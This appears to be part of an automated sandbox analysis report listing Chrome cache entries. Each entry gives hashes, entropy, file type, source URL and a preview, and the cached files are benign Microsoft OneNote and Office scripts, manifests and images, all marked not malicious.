Preview:	function _define_property(t,e,r){return e in t?Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,writable:!0}):t[e]=r,t}function _object_spread(t){for(var e=1;e<arguments.length;e++){var r=null!=arguments[e]?arguments[e]:{},i=Object.keys(r);"function"==typeof Object.getOwnPropertySymbols&&(i=i.concat(Object.getOwnPropertySymbols(r).filter((function(t){return Object.getOwnPropertyDescriptor(r,t).enumerable})))),i.forEach((function(e){_define_property(t,e,r[e])}))}return t}(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[848],{85663:function(t,e,r){t.exports={default:r(79476),__esModule:!0}},35594:function(t,e,r){t.exports={default:r(29589),__esModule:!0}},12171:function(t,e,r){t.exports={default:r(72230),__esModule:!0}},5917:function(t,e,r){t.exports={default:r(24414),__esModule:!0}},80401:function(t,e,r){t.exports={default:r(3210),__esModule:!0}},75012:function(t,e,r){t.exports={default:r(10306),__esModule:!0}},61525:function(t,e,r){t.exports={d

Chrome Cache Entry: 381

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64762), with CRLF line terminators
Category:	dropped
Size (bytes):	808183
Entropy (8bit):	5.248533367549633
Encrypted:	false
SSDEEP:	6144:u19A74RKQNPZkKh8YHOwSGkZJ7diNNTB8cN6Xg3eE:q1ZkKhIOy6f
MD5:	3B3F77A1F2990107C99E7788B6991302
SHA1:	B81E8B10377BC751AED6715856AF401F2D88234A
SHA-256:	C5AF99636CFE83E04A749B90DA4D4F7D75B8E8E2D43B29A7258F578735C5C34E
SHA-512:	57EE859510098043A40F21D30E78E9CC4A3ECA09454FD5C8A78071F172CA7588EDD61ABB6BBAE3BE224BEA10EBF8ACAB5858923F295D59652EAFB99823323C59
Malicious:	false
Preview:	/...Copyright (c) Microsoft Corporation. All rights reserved.../..../...Your use of this file is governed by the license terms for the Microsoft Office JavaScript (Office.js) API library: https://github.com/OfficeDev/office-js/blob/release/LICENSE.md../..../.. @overview es6-promise - a tiny implementation of Promises/A+...* @copyright Copyright (c) 2014 Yehuda Katz, Tom Dale, Stefan Penner and contributors (Conversion to ES6 API by Jake Archibald)..* @license Licensed under MIT license..* See https://raw.githubusercontent.com/jakearchibald/es6-promise/master/LICENSE..* @version 2.3.0..*/......// Sources:..// osfweb: 16.0\16.0.18214.15000..// runtime: 16.0\16.0.18214.15000..// core: 16.0\16.0.18214.15000..// host: 16.0\16.0.18214.15000........var OfficeExt,__extends=this&&this.__extends\|\|function(){var e=function(t,n){return(e=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]

Chrome Cache Entry: 382

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	351959
Entropy (8bit):	5.473926445319263
Encrypted:	false
SSDEEP:	6144:nP3mD7UhRYdVoY7BjQ/ngt37xg3xs8uapoI4HICioBje:P28g0iBje
MD5:	6D65897ADB16447C6CA38DF7EF5C62F3
SHA1:	527058146A95BAD856D5FF78238568507BFCC185
SHA-256:	B82EC4FEBA0212A5367C85FDA50406BE8B014826E7826251FBE79AFF398B7566
SHA-512:	5F74593312AE970CBE06B50AEF5CF96034AD8693DC2B40EBB37DDD5544EB9CDF78421773FD63B304EDC8BBEAE881BF3CC1D87F6097FA0013D8125F17C09C12B6
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/wp5/navigation.min.js
Preview:	function _define_property(t,e,i){return e in t?Object.defineProperty(t,e,{value:i,enumerable:!0,configurable:!0,writable:!0}):t[e]=i,t}function _object_spread(t){for(var e=1;e<arguments.length;e++){var i=null!=arguments[e]?arguments[e]:{},n=Object.keys(i);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(i).filter((function(t){return Object.getOwnPropertyDescriptor(i,t).enumerable})))),n.forEach((function(e){_define_property(t,e,i[e])}))}return t}function ownKeys(t,e){var i=Object.keys(t);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(t);e&&(n=n.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),i.push.apply(i,n)}return i}function _object_spread_props(t,e){return e=null!=e?e:{},Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(e)):ownKeys(Object(e)).forEach((function(i){Object.defineProperty(t,i,Object.getOwnPropertyDescriptor(e,i))})),t}(globalThis.onenote

Chrome Cache Entry: 386

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3147
Entropy (8bit):	5.883845445403374
Encrypted:	false
SSDEEP:	96:AXw1FTwReiZ1ZhojOyB+kRJRLnhnxawWyt:AXw1xwRTT6OG+kxnnahE
MD5:	BF54C6C78528E16FC0AD57914E63FDC8
SHA1:	A60018B4279E838668A077B6B97D58A4499EA0B6
SHA-256:	2D39D1B2762CD85B10719B18FC182CB4C0AC02C701DB51252CEC9A530208537A
SHA-512:	FCAE6C3CF1D6313627B5091B9114F4571B1F1FF12FA55E9F48AF93B53A6B1ED32F7DA3DCBFFB6CD24014A41D9A88A59460472605ABCCFF2FD44EE1EA061F206B
Malicious:	false
Preview:	{"clientVersion":"20241023.3","files":{"owl.js":["owl.5713dd8afbcd714f28fb.js","sha384-w4e2GtnecI7J3LMVXJzsHNxebPy7aT5eorFnGxkjvCAt/pBRt1pbofeK0dzPIAQT"],"owl.slim.js":["owl.slim.b75c2de5eee34f898531.js","sha384-ednudu6TfjFwhkZuYthMr5PPzuHKFfsI5uXcZScO1mAAJix7QvFHYI5jX7b+/LVb"],"owlnest.js":["owlnest.3dbdabff73823ee499b6.js","sha384-cJfzZ5dQxnK32RfWUaF32UHBQWoX41lGjt285R0w1Sn2Wi7Gz9gx+oUTX/R7jiIV"],"authwebworker.js":["authwebworker.1e854ce4990e8cb68c1e.js","sha384-aLLZVqovQQU7Ox3t5eatei8rWrvm5jOvBXcI3CoOeUWGsujvHUYikecoSQJXsnpG"],"sharedauthclient.js":["sharedauthclient.d39162c303dd9c59a0b9.js","sha384-hvv59LW8MYRaPhiDsNda4L8FuuGinGTOzYhULujODsEQFbBHWKC5+Qt3otL+vxtU"],"sharedauthclientinteractive.js":["sharedauthclientinteractive.84ad1713c0ea7a00165f.js","sha384-IGP7KkdMWrLtvWIOyhiHT4CpkQ0+GQ2oCY9ja2zWxsPbJyVuvBVlu8wMEEEUP32b"],"sharedauthclientmsal.js":["sharedauthclientmsal.39dcdf70a2434436117b.js","sha384-tpvjg53cnAY5Ku4H8RkNIKuRYPYkZqgGeq+TVwolQx0fjiV2k7JNAV2Lr8LrwDDo"],"sharedaut

Chrome Cache Entry: 387

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	104
Entropy (8bit):	4.793528989829565
Encrypted:	false
SSDEEP:	3:O/SJhnhzJhnjiCkj7uvk2zcsqtzcsqtUPlkk2SY:O/SJhhzJhjhw7u8ccRzcRLk2r
MD5:	07DAFB91911250EA29712C68C169A324
SHA1:	4DE0AB5D63B8AAA34149A93F2DEB4BB12BDC0B23
SHA-256:	B7AC0B299B05E6D5955DC89773E5FD00D638A2329857E13575C68665450827E1
SHA-512:	B7303BFD01E075C716B4698699D281ACBC304C30F5FD28AA86D66F34C643A9613A29A5418727F716337DD7303B7938CBB54557D87E3A33E46858875E5D7C7464
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSJQkWPK0JQVBN9hIFDYmyVeUSBQ2JslXlEgUN2NjgshIFDXUsYOsSJQlh40QFJN2RzBIFDYmyVeUSBQ2JslXlEgUN2NjgshIFDXUsYOs=?alt=proto
Preview:	CiQKBw2JslXlGgAKBw2JslXlGgAKBw3Y2OCyGgAKBw11LGDrGgAKJAoHDYmyVeUaAAoHDYmyVeUaAAoHDdjY4LIaAAoHDXUsYOsaAA==

Chrome Cache Entry: 388

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 389

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20116), with no line terminators
Category:	downloaded
Size (bytes):	20116
Entropy (8bit):	5.265227006593126
Encrypted:	false
SSDEEP:	384:uCYdXBag5QAdRLxUSkgRfku5ro+PZCewau6Y:K5Z7LKocu5ro+PZCdau6Y
MD5:	EDF023B23DC08C7C90BA27A3BDE7480B
SHA1:	0F03EDBE6BDA20C20251EFF9DB86359EB5155F66
SHA-256:	7337ED6220111758E61F3BE5060AE9A807D83EDF05D5F7CC92B0B85E34A5FEF3
SHA-512:	93450345EE48033238467EF1BA3550F3C2FACA5C07178B1E7AAB989A4C845D7D87FC25FC33AAF431CBF1AEA5B9C3FE6619A8045B066DB5B239197072029E0740
Malicious:	false
URL:	https://cdn.onenote.net/officeaddins/161821840453_Scripts/pickadate.min.js
Preview:	!function(a){"function"==typeof define&&define.amd?define("picker",["jquery"],a):"object"==typeof exports?module.exports=a(require("jquery")):this.Picker=a(jQuery)}(function(a){function b(f,g,h,k){function l(){return b._.node("div",b._.node("div",b._.node("div",b._.node("div",w.component.nodes(r.open),t.box),t.wrap),t.frame),t.holder)}function m(){u.data(g,w).addClass(t.input).val(u.data("value")?w.get("select",s.format):f.value).on("focus."+r.id+" click."+r.id,p),s.editable\|\|u.on("keydown."+r.id,function(a){var b=a.keyCode,c=/^(8\|46)$/.test(b);return 27==b?(w.close(),!1):void((32==b\|\|c\|\|!r.open&&w.component.key[b])&&(a.preventDefault(),a.stopPropagation(),c?w.clear().close():w.open()))}),e(f,{haspopup:!0,expanded:!1,readonly:!1,owns:f.id+"_root"+(w._hidden?" "+w._hidden.id:"")})}function n(){w.$root.on({focusin:function(a){w.$root.removeClass(t.focused),a.stopPropagation()},"mousedown click":function(b){var c=b.target;c!=w.$root.children()[0]&&(b.stopPropagation(),"mousedown"!=b.type\|

Chrome Cache Entry: 390

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	36058
Entropy (8bit):	4.829020472925349
Encrypted:	false
SSDEEP:	768:86A6z6x6+6x6O6V6A6z6j6H6L6F6J6H6R6qI6/XF6/j67616k6i6q656c6n6S6HQ:86A6z6x6+6x6O6V6A6z6j6H6L6F6J6Hf
MD5:	3A60051CD6CA060A515E1ED573152E25
SHA1:	7B9CC35159DEE664492531F4A94C089348095528
SHA-256:	864D10FD5CAB9FFFA8F4FE32CB525809D3A7F195B4CE0CA72B01FE01F24659C2
SHA-512:	0FF4E606F7FD0EF3B8D278E5D1CF344EA812F8297C8E9FFA3DDBFEE4D3665D3A589B915111B676280D7A6C00BB7A0980240DBBC91C8FB6EE13875334D7EE7281
Malicious:	false
Preview:	{"dashboard":{"cdnUrl":"https://res.cdn.office.net/admincenter/admin-main/2024.10.17.2/","loaderSpec":{"type":"scriptUrl","content":"https://res.cdn.office.net/admincenter/admin-main/2024.10.17.2/dashboard.en.bundle.js"},"version":"2024.10.17.2"},"groups":{"cdnUrl":"https://res.cdn.office.net/admincenter/admin-main/2024.10.17.2/","loaderSpec":{"type":"scriptUrl","content":"https://res.cdn.office.net/admincenter/admin-main/2024.10.17.2/groups.en.bundle.js"},"version":"2024.10.17.2"},"app-mgmt":{"cdnUrl":"https://res.cdn.office.net/admincenter/admin-main/2024.10.17.2/","loaderSpec":{"type":"scriptUrl","content":"https://res.cdn.office.net/admincenter/admin-main/2024.10.17.2/app-mgmt.en.bundle.js"},"version":"2024.10.17.2"},"esign":{"cdnUrl":"https://res.cdn.office.net/admincenter/admin-main/2024.10.17.2/","loaderSpec":{"type":"scriptUrl","content":"https://res.cdn.office.net/admincenter/admin-main/2024.10.17.2/esign.en.bundle.js"},"version":"2024.10.17.2"},"viva-goals-organization-views"

Chrome Cache Entry: 391

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 452 x 444, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	51120
Entropy (8bit):	7.954718383506729
Encrypted:	false
SSDEEP:	1536:fAXURb/VRlg/u3OD+RerLnSFFFCX8iarUMpu:f/VNfO2Ocerbdv/Mpu
MD5:	ECA50172A6583B16E553E9917FB710FB
SHA1:	2FD7FB2FF5C10E17E9066CE6BD2393E1F6B93CC0
SHA-256:	FFF5919A2CBACEAE0528522B6C73E4F1D549CA8EE13C680B50ED377DFD2B61F0
SHA-512:	1E7591A35DE7C00A197C08F15BA9ED7A9014EFFEF03DB240A92B63F8A8EC8DAE8F02811C8E9696FA934E6C4EFCBBBA14F2D01082A63471092488850A2D16958B
Malicious:	false
Preview:	.PNG........IHDR.............@.....wIDATx^..xU......n{..W.;.:T.W-W......I..hD..V..U..P@..A.@H....-.HEF..."....."zE@.B......OY~..s.:{.=.....?{.....N~..z.w..............T.vmr.k.>=.....~.A.......#.q...u..=..I...gee6 .v---.$.".L..=W>kD.+@... ...z..yd...s...mhK..:.avvf._........F.N.........x....?.b.US.\|~ii....W.V.w..-}\|...n//g..7..h..R.m{............X..+&U.....=...h.....B$../......0lll.@.+..l....l.&.o.x9..7.Y.1{.....G...w..-}...>..u."....1h(n.t......m.....X.kIf .i..]...{A......+.g...m=....'//..k=..A\|.v.8&.....!..>.}W.!.D.......s..x....w.a..Mr.....,P.KxII....5.~.>.%..1..1......y.P...w(..{..O ..n.V..Oh...iC[7.x....\..(..D.C...}....}..?...>%...".~0b..g.Yy...^.\|./..+@.7.z.D.\|*==.9.c....g..m\|.]ZZ.^..b}b.....D..ly..3:.P.`BE.+.6..b....1..9...\.." ............7....]r.c.&."...-/.OJ6.........2.c.....pA.Z.................?.Z.x....r.E?`........}W>..c...g@i.."P.kUVQ/..^.........BQ....WguU.E...%1`@.F....}Uax..f..".`,.t..V .9.7..E...[Sm...y.

Chrome Cache Entry: 392

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2936)
Category:	downloaded
Size (bytes):	2985
Entropy (8bit):	5.4388922463314096
Encrypted:	false
SSDEEP:	48:mYGyk7JKN7iG3azeBLJlh+bJP5aBARG+8DVKX+6Q9fru1+6Q9agZO7+OcmwQ9vQh:mYGco0lh+NPEBAo+8w+Da1+DagZO+wpI
MD5:	4F1D12D57F5342C2B9B0ED43E73C39B8
SHA1:	C0C2E9B165076D27558A37C55B1E14CE9728FCEF
SHA-256:	5B1487ECD05FC0A7192742055E471EE39845AD39D20CFF2EF746FE5B62C5CB3C
SHA-512:	23AF0E4923B21072B18BD03852D79191413B2B01BC28F14D0FA06C946CA077F20E5788E33DFC580BA6DD5796D1020ADC796AE124B455AB03E1CADAC38E73B580
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/wp5/oreonotebookpane.min.js
Preview:	(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[977],{27141:function(e,t,n){var o=n(27113),a=n(7954)(o);a.push([e.id,".wacCanvasOverlay__overlay___DpHwX {\n bottom: 0;\n left: -50px;\n position: absolute;\n right: 0;\n top: 0;\n z-index: 90;\n background: rgba(0, 0, 0, 0);\n -ms-high-contrast-adjust: none;\n}\n",""]),a.locals={overlay:"wacCanvasOverlay__overlay___DpHwX"},e.exports=a},4739:function(e,t,n){"use strict";var o=n(19857),a=n(21598),s=n(80700);const l=n(72919),r=(0,o.connect)((e=>({showOverlay:e.isVisible,navSelection:e.navSelection})))((e=>{const t=e.showOverlay&&!e.navSelection[s.C.SHOW_ALL]?a.createElement("div",{className:l.overlay}):null;return a.createElement("div",null,t)}));var c=n(49681),i=n(11289),d=n(11834),m=n(14435),u=n(4600),A=n(61358);let y=(0,i.I)();const S=(e,t)=>{let n={};return n[t]=!0,e((0,m.QI)(n)),c.Ay.ActionResponse.Succeeded};var v=n(49884),g=n(34632),h=n(63365),p=n(84768);const C=n(340);if(b=A.A.dispatch,c.Ay.Registe

Chrome Cache Entry: 393

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 78 x 53, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.9574232700791017
Encrypted:	false
SSDEEP:	3:yionv//thPlkgayxl/k4E08up:6v/lhP3ay7Tp
MD5:	1D1A0C4318EDF487D4320881461D8C58
SHA1:	1C99BF8143C1D6AFC29BD1D138F50A89F9F0DD3C
SHA-256:	1B079BF6A40B2410E77B380315C861E4EB541735264425F8D6A45D2E7EB80047
SHA-512:	4FA6CF5B9840AE9C5FA837D266929D6DA2B471053DE1D1A672A4F1EB9EBE6B32768CBB3B50CC4A395226A443C3E1C5E3C51B94E660B5E458FF85A031A2BE0164
Malicious:	false
Preview:	.PNG........IHDR...N...5.....`-JH....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 394

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33654)
Category:	downloaded
Size (bytes):	33712
Entropy (8bit):	5.312964320999572
Encrypted:	false
SSDEEP:	768:jTkTStDd+8hoLE+Ye92stIminlpqPe3+KAXNGeOstcnk8DSyCO:DIStOHDo
MD5:	B6E215C559C24CAFD09273E9BFAFD357
SHA1:	ECCF0B92955DACEAF6FAD3A9DE7C36EB65B341CB
SHA-256:	DAF0C5F563BBD6915BEA269FA160B52176BAE7AA972FFA7F0D9345165A4825F3
SHA-512:	06FDF7EC3F675C5B458F16E206FE8F64624A3046531EA5484C72CA58136D449DF1638B9AE9CD78C0E355A4A05D373E18D89F96743CCAFF5700DECD1BD52620E9
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/hDAF0C5F563BBD691_App_Scripts/healthSmallOffline.worker.min.js
Preview:	!function(e){var t={};function i(s){if(t[s])return t[s].exports;var r=t[s]={i:s,l:!1,exports:{}};return e[s].call(r.exports,r,r.exports,i),r.l=!0,r.exports}i.m=e,i.c=t,i.d=function(e,t,s){i.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:s})},i.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},i.t=function(e,t){if(1&t&&(e=i(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var s=Object.create(null);if(i.r(s),Object.defineProperty(s,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)i.d(s,r,function(t){return e[t]}.bind(null,r));return s},i.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return i.d(t,"a",t),t},i.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},i.p="",i(i.s=0)}([function(e,t,i){"use strict";var s;function r(e){if(!e)return;const t={};return e.forEac

Chrome Cache Entry: 395

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3147
Entropy (8bit):	5.883845445403374
Encrypted:	false
SSDEEP:	96:AXw1FTwReiZ1ZhojOyB+kRJRLnhnxawWyt:AXw1xwRTT6OG+kxnnahE
MD5:	BF54C6C78528E16FC0AD57914E63FDC8
SHA1:	A60018B4279E838668A077B6B97D58A4499EA0B6
SHA-256:	2D39D1B2762CD85B10719B18FC182CB4C0AC02C701DB51252CEC9A530208537A
SHA-512:	FCAE6C3CF1D6313627B5091B9114F4571B1F1FF12FA55E9F48AF93B53A6B1ED32F7DA3DCBFFB6CD24014A41D9A88A59460472605ABCCFF2FD44EE1EA061F206B
Malicious:	false
URL:	https://wise-m.public.cdn.office.net/wise-m/owl/5mttl/production/1/manifest.json
Preview:	{"clientVersion":"20241023.3","files":{"owl.js":["owl.5713dd8afbcd714f28fb.js","sha384-w4e2GtnecI7J3LMVXJzsHNxebPy7aT5eorFnGxkjvCAt/pBRt1pbofeK0dzPIAQT"],"owl.slim.js":["owl.slim.b75c2de5eee34f898531.js","sha384-ednudu6TfjFwhkZuYthMr5PPzuHKFfsI5uXcZScO1mAAJix7QvFHYI5jX7b+/LVb"],"owlnest.js":["owlnest.3dbdabff73823ee499b6.js","sha384-cJfzZ5dQxnK32RfWUaF32UHBQWoX41lGjt285R0w1Sn2Wi7Gz9gx+oUTX/R7jiIV"],"authwebworker.js":["authwebworker.1e854ce4990e8cb68c1e.js","sha384-aLLZVqovQQU7Ox3t5eatei8rWrvm5jOvBXcI3CoOeUWGsujvHUYikecoSQJXsnpG"],"sharedauthclient.js":["sharedauthclient.d39162c303dd9c59a0b9.js","sha384-hvv59LW8MYRaPhiDsNda4L8FuuGinGTOzYhULujODsEQFbBHWKC5+Qt3otL+vxtU"],"sharedauthclientinteractive.js":["sharedauthclientinteractive.84ad1713c0ea7a00165f.js","sha384-IGP7KkdMWrLtvWIOyhiHT4CpkQ0+GQ2oCY9ja2zWxsPbJyVuvBVlu8wMEEEUP32b"],"sharedauthclientmsal.js":["sharedauthclientmsal.39dcdf70a2434436117b.js","sha384-tpvjg53cnAY5Ku4H8RkNIKuRYPYkZqgGeq+TVwolQx0fjiV2k7JNAV2Lr8LrwDDo"],"sharedaut

Chrome Cache Entry: 396

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20082), with no line terminators
Category:	downloaded
Size (bytes):	20082
Entropy (8bit):	5.3785189328644485
Encrypted:	false
SSDEEP:	384:Tt1CTbGLeulh4MQOCS9AKBINrXNlQihhST3iT00XazfPTZsn:p1GTuli2gKBkrPTpqrTZs
MD5:	58A30E58FBE0165292F0425B04256E46
SHA1:	420050FE7E6034D52094B2F769FDB12A3591A748
SHA-256:	534ECF698946529FF99C868DA810DAB8E1E9C7491EBDC873BDF95D34ABF75C4E
SHA-512:	6127E32FC185C33353C75180F2B54DFE28E471558FF2478B23C8AB64511BFBAC0AA6200740F94186F0CC56F5D6137C9BD7F16BA3580F4E994A064B7E5AE67D44
Malicious:	false
URL:	https://cdn.onenote.net/officeaddins/161821840453_Scripts/LearningTools/LearningTools.js
Preview:	function getLanguageParameter(n){var t,i;if(UseApiForUILanguage&&Office.context.displayLanguage)return""+n+"="+Office.context.displayLanguage;var f=window.location.search.substr(1),r=f.split("&"),u="";for(t=0;t<r.length;t++)if(i=r[t].split("=",2),i.length==2&&i[0]=="ui"){u=""+n+"="+i[1];break}return u}function getEdgeMajorVersion(){var t=navigator.userAgent,n=t.match(/Edge\/([0-9]+)/i);return n&&n.length>=2?parseInt(n[1]):-1}function getQueryParameter(n){var u,r,t,i;if(window.location.search&&window.location.search.length>1)for(u=window.location.search.substring(1),r=u.split("&"),t=0;t<r.length;t++)if(i=r[t].split("="),decodeURIComponent(i[0])==n)return i.length>1?decodeURIComponent(i[1]):"";return null}function now(){return(new Date).getTime()}function generateGuid(){return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(n){var t=Math.random()*16\|0,i=n==="x"?t:t&3\|8;return i.toString(16)})}function createSimpleHtml(n,t,i){i===void 0&&(i=null);var r=document.createElemen

Chrome Cache Entry: 397

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 398

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	985
Entropy (8bit):	5.175336884396651
Encrypted:	false
SSDEEP:	24:2dQ4+A88T+Uy8+QQIWZdLIQAEJAoImLFJ1002ev+Es:cWA886hPtIWPIQlJwUFJ1005v+d
MD5:	605C6BD48B2AB0262C0113445494FF4C
SHA1:	00CC6621252EB4930486F4837638A0524E5C77E9
SHA-256:	405497AC72ADA72A30277E2493A9B00B999DF6CE1B425167B8C405AF45EF0338
SHA-512:	53993F9A6359C167302F14F272BF9D8897C2508DF9EFEC38DE1754F9B8737A621C482177981DE9702BEEAC54ACC2EEB1AB166A24533AC2A6FEA7E7C6244AD4F9
Malicious:	false
URL:	https://fa000000111.resources.office.net/033f92d3-bc6d-439a-858a-a17acf70360a/1.0.0.5/en-us_web/manifest_web.xml
Preview:	<?xml version="1.0" encoding="utf-8"?>..<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. xmlns:bt="http://schemas.microsoft.com/office/officeappbasictypes/1.0".. xmlns:contentappor="http://schemas.microsoft.com/office/contentappversionoverrides".. xsi:type="ContentApp">.... <Id>bf3a711e-f669-4fd5-8d73-100223695f2b</Id>.. <Version>1.0.0.4</Version>.. <ProviderName>lijia</ProviderName>.. <DefaultLocale>en-US</DefaultLocale>.. The display name of your add-in. Used on the store and various placed of the Office UI such as the add-ins dialog -->.. <DisplayName DefaultValue="Office first party apps sandbox" />.. <Description DefaultValue="Office first party apps sandbox" />.... <Hosts>.. <Host Name="Document"/>.. </Hosts>.... <DefaultSettings>.. <SourceLocation DefaultValue="index.html" />.. </DefaultSettings>.... <Permissions>ReadWriteDocument</Permissions>..</OfficeApp>

Chrome Cache Entry: 399

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 24 x 24
Category:	dropped
Size (bytes):	695
Entropy (8bit):	5.696679956038459
Encrypted:	false
SSDEEP:	12:HarRMs0pTestEsVEsl3Est3EshEsZ9NMzrI3TjEEofVcQ72TVkI3TjE:Har2nTeUEME23E+3EoEQ9NFj6kbjE
MD5:	648AD2F7EEA95A9B5491DCD2203B2F54
SHA1:	5FFA99938410AEBAB10B32308F242437B9432B53
SHA-256:	A3596C17DAD9A003D0BFBE0B7BA6765F51391B5C3943660316F01C8E77B323DB
SHA-512:	F7984FFEAEC122EFCBE36218979BB4C35E27007CC091BA5A8829BA5088999A3F9F7A7D5E11D90A05904D58644EC0B4E5EE1D57C68DD5270B7F456A762D8D699A
Malicious:	false
Preview:	GIF89a.............!..NETSCAPE2.0.....!.......,.................0.+......H.....V..!.......,............`..Q.!.......,............`..Q.!.......,............`..Q.!.......,............`..Q.!.......,............`..Q.!.......,............`..Q.!.......,..............z...cr...!.......,.................dp.,.....H.....;..!.......,..........2......dp.,...QP.Td......F.[...v..?y...."......!.......,..........0......dp.,...QP.Td..........gO:.......Q..!.......,..........*......dp.,...QP.Td..........g.\|.}.)..!.......,..........&......dp.,...QP.Td............>..!.......,..........#......dp.,...QP.Td........L.6V..!.......,.................dp.,.....H.....;..;

Chrome Cache Entry: 400

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel
Category:	downloaded
Size (bytes):	7886
Entropy (8bit):	3.675002721266739
Encrypted:	false
SSDEEP:	96:HOmS/+CtmE8mmmmm08mmmmmtf8mmmmmO8mmmmm+8mmmmmo8mmmmmo8mmmmmSC3on:AGHFk
MD5:	7A7A4890CAAA77025E1B33A6D6E474EE
SHA1:	DC735B99D9EF0C76B4A7AEAE8BAA4CBD9551BA77
SHA-256:	9E1DA5BF715135491519A188CAD977DB6CBA414071E2407B69D63221379D8802
SHA-512:	291692981A555857F95A3378B511E27B60154B95EA0BA0452B3A5536D9A63A16B00518066E4F4B60E6A73CBD2A7C46B99A18102EA5970989B9736E57A6474D30
Malicious:	false
URL:	https://res-1.cdn.office.net/officeonline/o/s/h9E1DA5BF71513549_resources/1033/FavIcon_OneNote.ico
Preview:	...... .... .....6......... ............... .h...f...(... ...@..... ..........................................................................................................................................................................................................................................................................................................................d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d....w...w...w...w...w...w...w..................................d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d....w...w...w...w...w...w...w..................................d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d....w...w...w...w...w...w...w..................................P...P...P...P...P...P...P...P...T...d...d...d...d...d...d...d...d....w...w...w...w...w...w...w..................................H...H...H...H...H...H...H...H...H...\...d...d...d...d...d...d...d....w...w...w...w...w...w...w...........

Chrome Cache Entry: 401

Download File

